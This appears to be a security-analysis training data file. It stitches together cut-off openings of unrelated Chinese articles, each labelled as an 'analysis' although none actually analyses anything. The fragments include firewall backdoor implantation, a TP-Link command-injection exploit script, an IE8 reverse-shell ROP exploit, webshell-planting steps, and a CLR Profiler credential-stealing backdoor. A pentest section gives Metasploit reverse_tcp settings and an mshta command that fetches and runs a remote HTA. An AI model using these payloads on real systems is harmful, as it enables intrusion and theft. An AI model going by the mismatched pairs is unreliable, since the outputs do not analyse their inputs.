ASA防火墙的后门可分为内存型和持久化型。从我们的分析看，内存型后门被命名为BANALRIDE和BANANAGLEE（简称BG），其中BANALRIDE只提供基本的控制功能和一些原始设备操作的API，而BG相对于BANALRIDE的功能更加强大和复杂；持久化后门又分为JETPLOW和SCREAMPLOW，其中JETPLOW作为早期的持久化后门主要针对于PIX防火墙和部分ASA设备，而新版本的被称为SCREAMPLOW是JETPLOW的升级版。
在整个后门植入过程中，首先需要利用命令解析漏洞（CVE-2016-6367），漏洞利用的前提是攻击者能够成功登录设备，可用已知用户名和密码登录，也可以利用漏洞修改登录流程实现任意账户名密码直接登录（见第一篇文章）。
然后执行epicbanana__2.1.0.1.py
脚本通过ssh或telnet登录到ASA系统，并发送payload至console终端，该脚本将构造15个攻击载荷到console终端下触发命令行解析漏洞，通过内存溢出的方式将BANALRIDE后门写入到ASA内存中。
最后使用目录下的bride-1120连接工具连接到BANALRIDE后门，BANALRIDE后门连接后的截图如下：
可执行的操作包括获取系统版本，内存操作申请、释放、读取和查看内存等，此外还可以植入控制接口更全面的BG后门（选项30）。
持久化后门JETPLOW和SCREAMPLOW也需要借助BG进行上传植入。但遗憾的是在这次泄露的文件中并没有包含BG后门的真实载荷，莫非在Shadow
Broker拍卖转众筹文件里？即便没有BG载荷，我们通过加载错误的BG文件，还是可以显示后门主要功能，包括读配置信息、接口信息和ARP表信息，更全面的读写内存操作，更重要的是实现了模块化的加载持久后攻击后门。
**0x03 BANALRIDE后门分析**
因缺少BANANAGLEE后门载荷，也就无法成功植入持久化SCREAMPLO...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Tp-link TL-WR841N是中国普联（Tp-link）公司的一款无线路由器。 TP-Link TL-WR841N
存在参数注入漏洞，该漏洞允许远程经过身份验证的恶意用户在系统上执行任意命令，攻击者可以利用这个漏洞在系统上执行任意命令。
### 受影响的固件
TL-WR841N(JP)_V13_161028
<=0.9.1 4.0 v0188.0 Build 161028 Rel.66845n (latest at time of report)
CVSS 分数:7.2
### 从流量中发现BUG
路由器提供许多系统诊断工具，包括Ping和Traceroute，用户可以输入指令在路由器系统上执行这些命令。从经验来看，Webcams和Smart
Speakers这类IoT设备都存在因为系统诊断工具存在而导致的高危漏洞，所以尝试从客户端和路由器交互过程分析是否存在可能的安全漏洞。
客户通过浏览前使用路由器的Tarceroute功能时候会发送如下请求：
    [TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,8
    maxHopCount=20
    timeout=50
    numberOfTries=1
    host=127.0.0.1
    dataBlockSize=64
    X_TP_ConnName=ewan_ipoe_d
    diagnosticsState=Requested
    X_TP_HopSeq=0
如果执行成功返回[error]0，如果失败范围一个非0数值。
跟踪请求，客户端浏览器会先发送如下请求初始化Traceroute功能：
    [ACT_OP_TRACERT#0,0,0,0,0,0#0,0,0,0,0,0]0,0
同样，如果路由器没有出错会返回[error]0，然后客户端浏览器会继续发送如下请求：
    [TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,3
    diagnosticsState
    X_TP_HopSeq
    X_TP_Result
然后路由器响应：
    [0,0,0,0,0,0]0
    diagnosticsState=Requested
    X_TP_HopSeq=0
    X_TP_Result={results}
    [error]0
所有这些请求都是客户端发起，总共有三个，也就是说在Traceroute调用期间浏览器发送的三个请求数据包都是用户可控的。
由于在不逆向固件的条件下无法知道后台的工作逻辑，采用Fuzzer技术对输入点进行测试，看以下哪些字符会被过滤：
    |  ; & $ > < ` \ !
测试的时候可以猜测后台的运行逻辑，比如这里假设是system("command")的情况。在测试不同参数的注入点的时候，需要使用单引号或者双引号闭合system的参数，然后注入攻击者的测试Payload。最终在第一个请求的host参数发现命里注入问题，如下：
    "`payload
接下来就是考虑如何利用这个漏洞。
### 利用
下面给出完整的利用POC，这个POC可以在默认配置下对漏洞版本的TP-LINK进行攻击，从而执行任意系统命令。特别注意如果在测试自己的路由器的时候执行了rm
-ef命令，那么路由器可能会永久坏掉，重置都没办法恢复。
    import requests
    import sys
    import time
    try:
        _ = sys.argv[2]
        payload = ' '.join(sys.argv[1:])
    except IndexError:
        try:
            payload = sys.argv[1]
        except IndexError:
            print("[*] Command not specified, using the default `cat etc/passwd`")
            payload = 'cat etc/passwd'
    # Default credentials is admin:admin - replace with your own
    cookies = {
        'Authorization': 'Basic YWRtaW46YWRtaW4='
    }
    headers = {
        'Host': '192.168.0.1',
        'User-Agent': '...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 0x00写在前面
在一次授权的实战测试中，需要拿到某OA的权限，经过top500的姓名+top100的密码，爆破出来几个账户，有了账户，进入oa内部，通过上传很轻松的就拿到了shell，但是客户不满足于此，要求找到未授权的RCE.有了shell，可以把源码脱下来，但这OA是.net+mssql开发的，我又不懂.net，没办法只能硬着头皮上了。
过程中涉及的一些aspx的审计知识都是根据项目需要百度现学+猜理解的，分享出来给一些像我一样完全不懂.net
小白提供一些应急审计的思路，如果有错误，请大佬们多多指教。
# 0x01 了解.NET审计思路
由于我对aspx的站点一点不懂，所以首先需要了解一些aspx审计的一些知识，通过一番百度，大概明白了aspx的代码基本都是封装在bin目录下的dll文件中的，这里大概分为两种情况：
  1. 一个页面对应一个dll
我们打开一个aspx页面，发现
    <%@ Page Language="C#" AutoEventWireup="true" CodeBehind="SSOExample.aspx.cs" Inherits="Richfit.Garnet.Web.SSOExample" %>
Inherits对应的就是bin目录下dll文件的位置，这里对应的是bin目录下Richfit.Garnet.Web.dll，我们直接反编译Richfit.Garnet.Web.dll，然后查找SSOExample就可以找到该页面的代码内容。
  1. 一个项目对应一个dll
同样打开aspx页面，发现代码：
    <%@ Page Language="C#" AutoEventWireup="true" CodeBehind="UpdateApplication.aspx.cs" Inherits="CustomizedWCFUI.UpdateApplication" %>
我们根据Inherits的值CustomizedWCFUI去找dll文件，是找不到的。这种情况下是把整个项目封装成一个dll了（一般和目录名对应），比如在目标中我们的地址是<http://www.xxx.com/MailServer/login.aspx，那么就去寻找bin目录下Mailserver.dll>
然后对应着一级一级去找对应的代码。
找到了对应的dll文件之后，开始进行反编译，查找代码，这里我用的是ILspy，我们直接把dll文件拖进去即可
这里就可以看到Mailserver下面有很多的函数。
# 0x03 开始审计
## 1.verifycode泄露导致sql注入
首先来看一下webservice/MailWebService.asmx
这里我挑了了一个RestoreEmail来测试，这里asmx接口是给了测试样例的：
    POST /mailserver/WebService/MailWebService.asmx HTTP/1.1
    Host: xxx
    Content-Type: text/xml; charset=utf-8
    Content-Length: length
    SOAPAction: "http://erpjx.com/MailWebService/RestoreEmail"
    <?xml version="1.0" encoding="utf-8"?>
    <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
      <soap:Body>
        <RestoreEmail xmlns="http://erpjx.com/MailWebService/">
          <TimeStamp>string</TimeStamp>
          <VerifyCode>string</VerifyCode>
          <UserGuid>string</UserGuid>
          <MailGuid>string</MailGuid>
        </RestoreEmail>
      </soap:Body>
    </soap:Envelope>
从样例中可以看到我们可控的地方有四个参数，我们需要了解一下这四个参数是如何使用的。
根据前面的学习，我们需要到
Mailserver.WebS...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# CVE-2022-33891 Apache Spark shell命令注入漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 漏洞描述
7月18号，Apache发布安全公告，修复了一个Apache
Spark中存在的命令注入漏洞。漏洞编号：CVE-2022-33891，漏洞威胁等级：高危。Apache Spark UI提供了通过配置选项Spark
.acl .enable启用acl的可能性。使用身份验证过滤器，这将检查用户是否具有查看或修改应用程序的访问权限。如果启用了acl,
HttpSecurityFilter中的代码路径可以允许某人通过提供任意用户名来执行模拟。
恶意用户可能能够访问权限检查功能，该功能最终将根据他们的输入构建一个 Unix shell 命令并执行它。这将导致任意 shell 命令执行。
## 相关介绍
Apache
Spark是美国阿帕奇（Apache）软件基金会的一款支持非循环数据流和内存计算的大规模数据处理引擎。Spark优点在于能更好地适用于数据挖掘与机器学习等需要迭代的MapReduce的算法。
## 利用范围
Spark Core – Apache <=3.0.3
3.1.1 <= Spark Core – Apache <=3.1.2
3.2.0 <= Spark Core – Apache <=3.2.1
## 漏洞分析
**环境搭建**
在官网（https://archive.apache.org/dist/spark）下载Apache Spark 3.2.1版本进行漏洞复现分析。
漏洞触发的关键在于是否启用ACL，使用身份验证过滤器。
启用ACL的两种方式：
1、通过设置选项 spark.acls.enable 启用 。
2、运行spark-shell时，通过-c参数启动。
为更好分析漏洞，在运行spark-shell前，需在其中进行远程调试配置
export
SPARK_SUBMIT_OPTS=”-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005″
配置完成后运行spark-shell，并开启ACL
./spark-shell –conf spark.acls.enable=true
### **漏洞原理**
根据diff（https://github.com/apache/spark/pull/36315/files）分析。
如上所示，使用命令拼接且没有做任何处理，而在修复的版本中直接删除了ShellBasedGroupsMappingProvider函数中对bash的调用。
### **动态分析**
了解漏洞原理之后，就该考虑如何触发漏洞。
在Apache spark启用ACL后，会通过HttpSecurityFilter这个filter进行权限的校验。
首先将断点打在org.apache.spark.ui.HttpSecurityFilter#doFilter函数处。
在进入doFilter函数之后，首先会提取参数“doAs”的值，然后赋值给effectiveUser，进入org.apache.spark.SecurityManager#checkUIViewPermissions函数。
后续跟进一系列函数进行处理。
进入org.apache.spark.security.ShellBasedGroupsMappingProvider#getGroups函数时，username为传入参数。
随后进入org.apache.spark.security.ShellBasedGroupsMappingProvider#getUnixGroups函数。
在这里username进行了拼接处理，因为我们传入的username参数可控，便形成了命令注入。
后续将通过executeAndGetOutput函数直接触发传入的命令，造成命令执行。
### **漏洞复现**
通过反单引号和参数“doAs”成功命令注入。
## 修复建议
建议受影响的用户升级到安全版本：Apache Spark 3.1.3、3.2.2 或 3.3.0 或更高版本。
## 参考材料
1.https://lists.apache.org/thread/p847l3kopoo5bjtmxrcwk21xp6tjxqlc
2.https://archive.apache.org/dist/spark/
3.https://github.com/apache/spark/pull/36315/files


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 【技术分享】在ie8中利用ROP与Heap Spray利用反弹shell
|
##### 译文声明
本文是翻译文章，文章来源：woumn.wordpress.com
原文地址：<https://woumn.wordpress.com/2016/12/07/rop-heap-spray-for-a-reverse-shell-in-ie8/>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[Ox9A82](http://bobao.360.cn/member/contribute?uid=2676915949)
预估稿费：260RMB（不服你也来投稿啊！）
投稿方式：发送邮件至[linwei#360.cn](mailto:linwei@360.cn)，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**简介**
这个漏洞利用程序是针对Windows
7平台上的IE8浏览器开发的。我们关注的焦点是一个使用了Java网络启动协议（JNLP）的插件，这个插件存在有溢出漏洞。为了实现利用，我会使用Heaplib来构造ROP链以实现绕过DEP，并获取对目标机器的控制。
**
**
**Did it Work?**
我的exploit目前不能正常工作，我讨厌这个leave指令（如下图）
我进一步确认了一下反汇编。这个错误看起来是我没有访问此DLL的权限，或者是违反了页面的读、写、执行权限。我进一步的研究了一下，并在运行了“!vprot
7c3411a4”命令之后确认了答案，这个命令可以显示我感兴趣的内存权限。
**开发exploit**
**构造恶意输入**
Java网络启动协议（JNLP）使应用程序能够在远程服务器上的客户端桌面上启动。事实上JNLP存在一个缓冲区溢出漏洞，发送的请求的结构对于我们来说不是很重要，我们只需关心传递给JNLP导致溢出的docbase参数。
此外，我们将通过Javascript来触发这个利用是基于以下几个原因。首先，我们可以通过Javascript直接控制DOM。DOM是文档对象模型，它可以美化屏幕上显示的页面。它可以呈现HTML、CSS和Javascript，并且还可以访问浏览器的“Syscalls”，比如QuickTime，Flash等。这使得在浏览器中实现这个exploit变得很方便。
这个exploit使用了很多我们已经见到过的利用技术，所以我不会进行详细介绍。但是需要知道，当我们拥有一个溢出漏洞时，就意味着我们可以控制EIP和ESP处的内存。但是，我们还存在着DEP的问题
– 栈不可以执行。由于存在DEP保护，我们被迫使用ROP来解决。我们之前在其他的漏洞利用中使用过ROP技术，即我们去寻找jump
4或其他东西的地址。我们找到有执行权限的地方，然后直接调用这个地址的我们需要的OPCODE。这里的挑战是我们需要的指令可能不止是一、两条。一般来说ROP链会非常大，而且我们还要插入shellcode。令我担心的是，栈可能没有足够的空间来放置我们的全部载荷，我的方法是通过堆，但是这带来了一些额外的挑战。
堆上的第一个挑战是如何定位我们布置的数据。幸运的是，这个问题可以通过Heaplib.js的帮助来解决，它进行堆喷射并且保证地址对齐。堆喷射指的是将我们需要的内存数据放入堆中，以便我们有机会跳入我们需要的数据中。它看起来像这样：
（译注：这张图有误，DEP环境下不再需要NOP sled）
事实证明，Heaplib.js库可以提供非常精确的堆喷射，并且shellcode（译注：作者似乎分不清payload和shellcode的区别，之后也有几处混用。）存在于每间隔2000个字节的地址上，比如0020，2020，4020等（译注：Heaplib是一个用来进行精准堆喷射的库，作者首次提出并使用了Heap
Fengshui技术。但因为存在Nozzle，自IE9之后就不能使用了。）
我们面临的第二个问题是怎么把堆转换成栈。这个听起来有点违反常识，但是相信我，马上你就会明白我们为什么要这样做。很多人将这种做法称为“Stack
Pivot”（栈翻转），为了说明堆是怎么转化成栈的，我们只需要改变ESP寄存器的值指向我们堆的地址（由堆喷射得来的，存有payload）。这通常通过调用指令
    ```
    XCHNG EAX，ESP;
    RET
    ```
交换EAX的值来实现，这两条指令本身就是一个ROP gadgets。然而，在这里我们不能控制到EAX寄存器，但是我们可以控制EBP寄存器，那么也能够用
    ```
    LEAVE;
    RET
    ```
指令做栈翻转（译注：因为leave等于mov esp，ebp;...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

原文链接：<https://www.zerodayinitiative.com/blog/2018/12/17/seeing-double-exploiting-a-blind-spot-in-memgc>
这是我们评选的2018年五大有趣案例的第一个。这些评选出来的bug都具有一些独特的元素，使得其与今年发布的大约1400条报告不同。我们首先来看Pwn2Own冠军的一个案例，以看似不可能的方式来攻击微软Edge浏览器。
在2018年Pwn2Own大会上，Richard
Zhu([fluorescence](https://twitter.com/rz_fluorescence))成功攻陷多个目标，获得了世界破解大师（[Master
of PWN](https://www.zerodayinitiative.com/blog/2018/3/15/pwn2own-2018-day-two-results-and-master-of-pwn)）的称号。他攻陷的目标之一是Microsoft Edge，使用的利用链包括两个Use-After-Free
(UAF)漏洞。其中一个UAF漏洞十分引人注目，以至于被列为我们今年的五大漏洞之一，将会在本系列博客中对此进行详细介绍。这个漏洞编号是[CVE-2018-8179](https://www.zerodayinitiative.com/advisories/ZDI-18-571/)
我们来深入研究这个漏洞的一些PoC代码，看看是什么让它如此惊人：
图片显示了poc代码和一些指示操作顺序的注释。主要操作是从步骤3中setRemoteCandidates的调用开始的，这个API需要传入一个JavaScript数组。如图中所示，在遍历该数组过程中出现了问题。在访问arr2[1]时，执行了getter方法(步骤4-5)，该脚本能够释放arr2[0]最初引用对象所使用的内存。然后脚本回收内存并用攻击者指定的数据覆写内存(步骤5)。当setremotecandidate继续执行并试图访问arr2[0]最初引用的对象时，就会发生崩溃。
为了实现这幅图中的内容，我们需要更多地了解setremotecandidate处理其参数时发生的事情，它做了如下操作：
  1. 创建一个名为CModernArray<>的内部数组结构。
  2. 遍历arr2。对于每个元素，获取一个指向该元素的指针，并将其添加到CModernArray<>中。
  3. 迭代CModernArray<>，依次处理每个JavaScript对象。
CModernArray<>是在edgehtml.dll中定义的一个c++类。至关重要的是，它将数据存储在从MemGC堆分配的缓冲区中。概括总结下POC的操作：edgehtml.dll在arr2上迭代。在此过程中，它首先将arr2[0]复制到属于CModernArray<>的memgc控制的缓冲区，然后，当访问arr2[1]时，已经从arr2[0]复制的JavaScript对象将被释放并回收，但是CModernArray<>中仍然存在一个未清空的指针。当从CModernArray<>的索引0检索该指针时就会产生崩溃。
把所有这些信息汇总在一起后，我们现在可以理解这里存在一个漏洞是多么不可思议。在整个过程中，所有涉及的对象(JavaScript数组等)都被分配到MemGC堆上。此外，所有指向这些对象的指针都存储在memgc分配的数组和缓冲区中。那么，UAF是如何产生的呢?这类UAF正是MemGC所应该预防的。MemGC被设计成能够识别MemGC堆中当前存在的所有指针，这样当指针仍然存在时，就不能释放MemGC分配的内存。在MemGC堆分配中，MemGC应该是无所不知、无所不见的。那么，为什么MemGC没有检测到CModernArray<>中存在一个未清空指针这一事实呢？
为什么会这样呢？
我现在要告诉你一个可怕的秘密。
并没有这样一个无所不知的“MemGC堆”
实际上有两个MemGC堆，它们对彼此的分配是不可见的。
这两个MemGC堆如下所示，其中一个MemGC堆会在浏览器的JavaScript引擎Chakra中内部使用，所有基于堆的JavaScript对象以及许多内部Chakra数据结构都存储在这个堆上，我们称之为“Chakra堆”。另一个MemGC堆是由chakra.dll提供给外部使用者使用的，尤其是给edgehtml.dll用。我们将其称为“DOM堆”，它取代了前一代的，由Internet
Explorer在2014年7月首次引入的内存保护机制。DOM堆用于所有DOM对象，以及从edgehtml.dll执行的大多数其他堆分配。
这两个堆共享一个实现，但是它们由chakra!Memory:...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 【技术分享】Windows PsSetLoadImageNotifyRoutine的0day漏洞（续）
|
##### 译文声明
本文是翻译文章，文章来源：breakingmalware.com
原文地址：<https://breakingmalware.com/documentation/windows-pssetloadimagenotifyroutine-callbacks-good-bad-unclear-part-2/>
译文仅供参考，具体内容表达以及含义原文为准。
****
译者：[anhkgg](http://bobao.360.cn/member/contribute?uid=2894976744)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**传送门**
[**【技术分享】Windows
PsSetLoadImageNotifyRoutine的0day漏洞**](http://bobao.360.cn/learning/detail/4397.html)
**
**
**简介**
****
安全服务商和内核开发者需要注意，Windows内核的一个代码编写错误可以能让你无法再运行中拿到是哪个模块被加载了的信息。并且修复它不是你想象的那么简单。
**快速回顾**
****
在研究windows内核过程中，我们遇到了一个有趣的问题，关于 **PsSetLoadImageNotifyRoutine**
，就是通知模块加载的。在注册了一个加载PE模块的通知之后，内核回调函数可能会收到一个不合法的镜像名字。
在我们之前发布的博客中，我们研究了这个bug相关的不同内核组件。在弄明白了原因之后，我们找到了一种解决它的方法。
**疑惑：一个持久的问题**
****
有一件事对我们来说非常奇怪，就是这个机制已经非常老了，但是在我们之前没有人遇到这个问题。这么多年来一个文档化的广泛使用的windows内核机制怎么可能这样，没有修复这么一个明显的问题，或者发布新的文档。
经过在线的一番与这个bug相关的信息的搜索，我们没有发现任何官方的文档，或者可能引起的任何信息。我们也在[社区](http://www.osronline.com/showThread.cfm?link=88362)遇到一个类似问题的特殊说明，它让我们知道了一些重要的事情：
**a. 这个问题，我们也可以复现，好像来源于同样的问题**
**b. 一个关于回调通知的同样的bug在十年前甚至更早就已经出现了（我们没有发现在2001年以前的信息了）**
**c. 微软应该也知道这个问题**
**错误的解决方案**
****
在寻找解决这个bug的方案时，我们发现了几款工具试图通过不同的方法解决它，但其实没什么用。有些使用 **ObQueryNameString**
或者各种API其实会有相同的结果，在其他地方简单增加和 **FILE_OBJECT.FileName** 相关的 **DEVICE_OBJECT**
的名字，但其实在object的生命周期从来没有使用它。
**我们还在继续做**
****
此时，我们决定继续检查其他提供PE加载回调通知的函数，如 **PsSetCreateProcessNotifyRoutineEx**
，这个函数在Windows Vista Sp1之后才能使用。我们想看看他是否也有同样的bug在内核中。
让我们困惑的是在这个函数中CreateInfo参数有一个特定flag，FileOpenNameAvailable，当设置为TRUE时，表示这个字符串指定的完整文件名字是要打开的可执行文件的名字。如果设置为FALSE，操作系统只是提供一部分名字。
在查看nt!PspInsertThread的反汇编代码是，这个flag明显被设置为FALSE，ImageFileName是FILE_OBJECT（进程的SECTION）的FileName字段。像我们之前提到的加载镜像通知回调的问题一样，这个flag表明这个穿拿来的参数的完整性是不可信任的。
图1. Nt!PspInsertThread –
在调用注册的回调之前初始化CreateInfo.ImageFileName和CreateInfo.FileOpenNameAvailable
看起来微软像是注意到了这个问题，至少负责 **PsSetCreateProcessNotifyRoutineEx**
的开发者注意到了。事实上，微软为什么至今也没有解决 **PsSetLoadImageNotifyRoutine** 的bug依然让人不解。
**用微软的方式（几乎正确）**
****
在搜索更多关于 **PsSetCreateProce...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

## 题目描述
这篇writeup是关于这次比赛 `PHP+1`,
`PHP+1.5`和`PHP+2.5`这三道代码审计题目的。我们可以用同一个payload来解决这三道题目。这三道题的考点是全部相同的: **Bypass
the WAF and get a shell**
## 题目分析
首先看第一道题（PHP+1），打开题目链接就能直接获取到题目代码
    <?php
    // PHP+1
    $input = $_GET['input'];
    function check()
    {
        global $input;
        foreach (get_defined_functions()['internal'] as $blacklisted) {
            if (preg_match('/' . $blacklisted . '/im', $input)) {
                echo "Your input is blacklisted" . "
";
                return true;
                break;
            }
        }
        $blacklist = "exit|die|eval|\[|\]|\\\|\*|`|-|\+|~|\{|\}|\"|\'";
        unset($blacklist);
        return false;
    }
    $thisfille = $_GET['thisfile'];
    if (is_file($thisfille)) {
        echo "You can't use inner file" . "
";
    } else {
        if (file_exists($thisfille)) {
            if (check()) {
                echo "Naaah" . "
";
            } else {
                eval($input);
            }
        } else {
            echo "File doesn't exist" . "
";
        }
    }
    function iterate($ass)
    {
        foreach ($ass as $hole) {
            echo "AssHole";
        }
    }
    highlight_file(__FILE__);
    ?>
上面的代码简单来说就是，我们需要传入两个参数：`input`和`thisfile`。
对于参数`thisfile`我们可以给它传入一个目录路径来绕过`is_file`，`file_existes`这两个函数的检测。
绕过这两个函数的检测之后，接下来我们要想办法绕过`check`函数，这个函数将获取所有PHP的系统内置函数，并检查我们的输入是否含有这些系统内置函数。如果检测到输入了系统内置函数，那么就会被check。
下一道题（PHP+1.5），同样直接打开题目链接就能获取到题目源码，源码如下
    <?php
    // php+1.5
    $input = $_GET['input'];
    function check()
    {
        global $input;
        foreach (get_defined_functions()['internal'] as $blacklisted) {
            if (preg_match('/' . $blacklisted . '/im', $input)) {
                echo "Your input is blacklisted" . "
";
                return true;
                break;
            }
        }
        $blacklist = "exit|die|eval|\[|\]|\\\|\*|`|-|\+|~|\{|\}|\"|\'";
        if (preg_match("/$blacklist/i", $input)) {
            echo "Do you really you n...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

### 观众老爷们好啊 给大家表演个基本操作
  * 本文适合正在学习入门的小伙伴 师傅们就不必踏雪我了
  * 第一次写文章有点细(生怕写的不好,却是也是烂)中间介绍了插件工具等 可能会看一阵子 麻烦您了
多采用各种骚词(真实的内心反映) 皆是为了带动积极性希望入门的朋友把渗透当作有趣的事情来思考，抛弃枯燥乏味的感觉，冒昧之处还请多多包涵。
### 外网
> _信息收集怎么说呢 肯定是越全面越好 但找到突破口了 就不想去收集其他了 反之如果没找到合适的突破口那可能是收集不够全_
  * 感觉这网站（<https://scan.top15.cn/web/> ）
使其还不错功能挺全 查到的东西也多点 这不phpmyadmin就把头伸过来了
  * 接着看 基本信息还是有必要了解下
工具这东西吧 好是好就是不够准确 妈蛋 Linux 都冒出来了
(判断网站操作系统 最快捷的就是大小写 Windows对网址中的大小写不敏感 Linux则反之)
  * 火狐插件 判断不迷路
  * 火狐插件 傻蛋也是几款网络搜索中的老大哥了
  * 好奇心使我注意到443端口 渗透就想巧克力 永远不知道下一步是啥样儿的
手工尝试了 简单弱口令 不行就先放着
后面可以尝试 爆破 注入 等等
  * 回到正文来 之前网站识别出来的 phpmyadmin 头还伸着呢
  * 得知版本2.10.3 第一件事就是百度 有问题多问度娘不行就谷哥 有万能密码() 试试就试试
  * 不清楚10.3版本也可以利用该漏洞（也可以尝试爆破）
‘localhost’@'@”
  * 进来后 拿shell为目的 （注意无权限）
第一种 phpmyadmin 熟悉两种方式 一种直接冲 into outfile 直接写 尝试失败 猜测因为万能密码原因
第二种 思路：就是利用mysql的一个日志文件。这个日志文件每执行一个sql语句就会将其执行的保存。我们将这个日
志文件重命名为我们的shell.php然后执行一条sql带一句话木马的命令。然后执行菜刀连接之！
第二种 办法 好像此处版本太低 实现不了
有趣的人运气不会太差 瞧瞧咱找到什么宝贝了
  * 口令在手 shell我有
那么问题来了 绝对路径怎么找 首先尝试以下url
phpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
phpmyadmin/themes/darkblue_orange/layout.inc.php
  * 还有其他方法 比如info
有就更好 没有首先会尝试 谷歌语法了
##### 三种常见搜索引擎
  * 还有种方式 就是用谷歌镜像 也还行
  * 现在万事俱备只差马儿
  * 刚开始蚁剑执行命令是有回显的 第二天执行就没了 让朋友看了下disable_functions什么情况 为什么要为难我
  * 接着重新写马 试试能不能执行系统命令结果可以啊 菜刀也能执行命令 只不过变成这样回显 顶！(如果有了解情况的师傅 麻烦告知 感激不尽)
  * But 虽然没了 回显但还是能执行命令。。。
  * Getshell过程没什么操作难度(太难的也操作不出来)主要是记录成长过程以及对刚入门朋友描述下大概思路
### 内网
> 注意服务器改端口 防止 全网爆破流 然后用screen 挂起后台运行避免ssh断了 cs清空
>  服务器用的是 阿里云学生机(一年也就一百来块)还是挺不错的
  * cs 刚开始的时候上了顺手把密码抓了 看了看大致情况就睡了
第二天 随便执行一条命令就掉 第一天都能执行命令 密码都抓了哦 现在说掉就掉 吊！
##### 佳哥让试试msf 可能是我的cs有问题
  * msf生成hta
        use exploit/windows/misc/hta_server
    set payload windows/meterpreter/reverse_tcp
    set lhost xx.xx.xx.xx
    set lport 6666
执行 mshta.exe <http://xx.xx.xx.xx/pKz4Kk059Nq9.hta>
  * 查找了下域控ip 192.168.30.61
  * 这里存活ip检测不够准确(后面cs扫还有给.11主机)
  * 这里 还打过ms17_010无果 忘了截图了--------------
Msf好久没用 ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 编写插桩ASP.NET MVC程序的CLR Profiler后门
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
在之前某次渗透测试中，发现一个ASP.NET的站点，通过数据库权限提权拿下系统之后发现站点的密码是经过几次编码和不可逆加密算法存储的。导致无法通过管理员的账号密码登录系统（因为当时是个比较重要的系统，因此需要账号密码来登录后台），因此最后的解决办法就是通过加密算法生成一个新的密码，再写入数据库中来登录。但之后接触到了CLR
Profiler，于是想起用这种方式来获取管理员的账号密码，本次文章仅介绍思路以供研究学习，切勿用于非法用途。
## CLR Profiler探测器介绍
微软在托管进程启动前会检测是否有设置相应的CLR Profiler
API，该API是用于分析运行时进程的上下文情况，在此处我们可以用这种方式来织入我们的恶意代码到其中。当托管进程（应用程序或服务）启动时，将加载公共语言运行时
(CLR)。 初始化 CLR 时，将评估以下两个环境变量以决定进程是否应连接到探查器：
  * COR_ENABLE_PROFILING：仅当此环境变量存在并设置为 1 时，CLR 连接到探查器。
  * COR_PROFILER：如果 COR_ENABLE_PROFILING 检查通过，CLR 将连接到具有此 CLSID 或 ProgID 的探查器（已事先存储在注册表中）。 COR_PROFILER 环境变量被定义为字符串，如以下两个示例中所示。
        set COR_PROFILER={32E2F4DA-1BEA-47ea-88F9-C5DAF691C94A}
    set COR_PROFILER="MyProfiler"
下图显示探查器 DLL 如何与所分析应用程序和 CLR 交互。
###  关于ICorProfilerCallback
CLR 在 ICorProfilerCallback (或 ICorProfilerCallback2)
接口中调用方法，以便在探查器已订阅的事件发生时，来通知探查器。 这是 CLR 与探查器进行通信时所使用的主回调接口。
探查器必须实现接口的方法 ICorProfilerCallback 。 对于 .NET Framework 版本2.0 或更高版本，探查器还必须实现
ICorProfilerCallback2 方法。 每个方法实现都必须返回值为 “S_OK” 的 HRESULT，否则失败时 E_FAIL。
###  关于通知接口
可以将ICorProfilerCallback和ICorProfilerCallback2视为通知接口。 这些接口包括
ClassLoadStarted、ClassLoadFinished和 JITCompilationStarted等方法。 每次 CLR
进行加载或卸载类、编译函数等操作时，都会调用探查器的 ICorProfilerCallback 或 ICorProfilerCallback2
接口中的相应方法。
###  关于信息检索接口
分析中涉及的其他主要界面是 ICorProfilerInfo 和 ICorProfilerInfo2。
探查器根据需要调用这些接口，以获取更多的信息来帮助进行分析。 例如，每当 CLR 调用 FunctionEnter2 函数时，它都会提供函数标识符。
探查器可以通过调用 ICorProfilerInfo2::GetFunctionInfo2 方法来获取有关该函数的详细信息，以发现该函数的父类、名称，等等。
###  初始化探查器
探查器创建最重要的就是ICorProfilerCallback::Initialize
方法，这是CLR应用程序启动时初始化代码探查器的入口。如果两次环境变量检查均通过，CLR 就会以与 COM CoCreateInstance
函数类似的方式创建探查器实例。
    HRESULT Initialize(
        [in] IUnknown *pICorProfilerInfoUnk
    );
pICorProfilerInfoUnk 中指向 IUnknown 接口的指针，探查器必须查询该接口的 ICorProfilerInfo 接口指针。
IUnknown 是每个其他 COM 接口的基接口。 此接口定义三种方法： QueryInterface、 AddRef和Release。
QueryInterface 允许接口用户要求对象指向其接口的另一个接口。 AddRef 和 Release 在接口上实现引用计数。
因此必须要在Initialize方法中通过QueryInterface查...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 对某驱动程序提权漏洞的分析
##### 译文声明
本文是翻译文章，文章原作者 microsoft，文章来源：microsoft.com
原文地址：<https://www.microsoft.com/security/blog/2019/03/25/from-alert-to-driver-vulnerability-microsoft-defender-atp-investigation-unearths-privilege-escalation-flaw/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
